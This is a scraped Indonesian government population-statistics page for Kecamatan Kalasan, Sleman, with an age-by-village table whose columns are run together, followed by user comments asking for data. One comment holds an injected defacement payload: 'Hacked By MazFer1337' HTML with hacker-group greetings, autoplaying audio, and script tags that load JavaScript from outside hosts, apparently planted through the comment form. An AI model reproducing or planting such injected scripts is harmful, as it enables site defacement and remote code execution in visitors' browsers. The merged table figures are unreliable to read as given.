Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN KALASAN, KABUPATEN SLEMAN, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaPURWOMARTANITIRTOMARTANITAMANMARTANISELOMARTANITotal
LPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun372366 738201188 389174182 356172134 306919 870 1.789
2 tahun255214 469110110 220101100 20110685 191572 509 1.081
3 tahun267255 522105125 230126106 2329185 176589 571 1.160
4 tahun254255 509126115 241108124 2327584 159563 578 1.141
5 tahun280244 524132100 232119121 24012372 195654 537 1.191
6 tahun254278 532120110 23013391 22410096 196607 575 1.182
7 tahun257242 499105129 234119118 23711294 206593 583 1.176
8 tahun307254 561130113 243129131 2609788 185663 586 1.249
9 tahun263259 522143144 287129143 27294114 208629 660 1.289
10 tahun299271 570139121 260124132 2569791 188659 615 1.274
11 tahun282287 569125125 250136135 2719596 191638 643 1.281
12 tahun282310 592160162 322123140 263124119 243689 731 1.420
13 tahun330267 597140151 291160121 28112797 224757 636 1.393
14 tahun298280 578121148 269119122 241103100 203641 650 1.291
15 tahun340275 615145139 284151125 27612090 210756 629 1.385
16 tahun278270 548132119 251146102 24812282 204678 573 1.251
17 tahun255213 468124120 244119112 2319182 173589 527 1.116
18 tahun304270 574153118 271123127 2509887 185678 602 1.280
19 tahun286268 554134140 274133116 24910084 184653 608 1.261
20 tahun256262 518153154 307141124 2659188 179641 628 1.269
21 tahun280335 615142143 285132111 24399107 206653 696 1.349
22 tahun245278 523161131 292116124 2408693 179608 626 1.234
23 tahun248243 491138144 28292112 2049180 171569 579 1.148
24 tahun277262 539127134 261120101 22110285 187626 582 1.208
25 tahun292261 553145127 272134116 2508392 175654 596 1.250
26 tahun272292 564152124 276115111 22699109 208638 636 1.274
27 tahun298277 575123103 226124109 23310189 190646 578 1.224
28 tahun256239 495117126 243118112 2308787 174578 564 1.142
29 tahun266256 522128121 249103124 2278987 176586 588 1.174
30 tahun256278 534141126 267111115 22610891 199616 610 1.226
31 tahun283249 532114110 224114132 2469368 161604 559 1.163
32 tahun233248 48198125 22312287 2098377 160536 537 1.073
33 tahun221244 465106117 223119119 2388183 164527 563 1.090
34 tahun246263 509109128 23795113 2088190 171531 594 1.125
35 tahun250245 495127142 2699898 19697107 204572 592 1.164
36 tahun245269 514114134 248115118 2339283 175566 604 1.170
37 tahun281267 548138151 289115144 259106110 216640 672 1.312
38 tahun296301 597151138 289138134 272124113 237709 686 1.395
39 tahun303353 656149157 306142139 28189106 195683 755 1.438
40 tahun273315 588132142 274118132 2509898 196621 687 1.308
41 tahun306307 613154151 305148138 286103129 232711 725 1.436
42 tahun301314 615150145 295127131 25811289 201690 679 1.369
43 tahun283320 603132142 274132124 2569792 189644 678 1.322
44 tahun295284 579155146 301127135 26297121 218674 686 1.360
45 tahun291303 594130150 280132132 26410882 190661 667 1.328
46 tahun285319 604131148 279149121 27094114 208659 702 1.361
47 tahun287284 571131142 273119127 24610097 197637 650 1.287
48 tahun280275 555122139 261119112 231122109 231643 635 1.278
49 tahun257272 529122146 268131124 255104101 205614 643 1.257
50 tahun250266 516123145 268109120 2297783 160559 614 1.173
51 tahun285268 553128132 260122140 262114103 217649 643 1.292
52 tahun249264 513124139 263128129 25788101 189589 633 1.222
53 tahun251279 530135137 272113113 2267999 178578 628 1.206
54 tahun220242 462107119 226108114 2228489 173519 564 1.083
55 tahun203241 444125139 26411289 2018075 155520 544 1.064
56 tahun256263 519129143 272118118 2369383 176596 607 1.203
57 tahun215208 42395107 2029787 1845762 119464 464 928
58 tahun192218 410119112 23181116 1977168 139463 514 977
59 tahun195193 3888694 1807385 1585682 138410 454 864
60 tahun165180 34586109 1956070 1304059 99351 418 769
61 tahun189191 38010288 19076114 1906292 154429 485 914
62 tahun185191 37677100 1777285 1577361 134407 437 844
63 tahun136171 3077588 1636892 1606157 118340 408 748
64 tahun130168 2987673 1498578 1633662 98327 381 708
65 tahun114122 2366975 1446379 1424858 106294 334 628
66 tahun119150 2697266 1385974 1336155 116311 345 656
67 tahun122104 2266464 1286444 1085650 106306 262 568
68 tahun103117 2204845 935356 1093144 75235 262 497
69 tahun119114 2335143 943143 744242 84243 242 485
70 tahun6784 1513337 702936 652531 56154 188 342
71 tahun8184 1653045 753948 873755 92187 232 419
72 tahun6062 1222931 602634 602823 51143 150 293
73 tahun6490 1542128 492648 742550 75136 216 352
74 tahun5257 1092726 533432 662140 61134 155 289
75 tahun4364 1072429 533029 591930 49116 152 268
76 tahun6365 1282740 672245 672333 56135 183 318
77 tahun4534 792414 381419 331721 38100 88 188
78 tahun4856 1041831 491725 422129 50104 141 245
79 tahun4957 1062426 503539 742018 38128 140 268
80 ke atas174291 465101148 249114166 280107182 289496 787 1.283
Jumlah18.06918.38736.4568.7869.03617.8228.2168.33416.5506.6166.59413.210 41.687 42.351 84.038
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih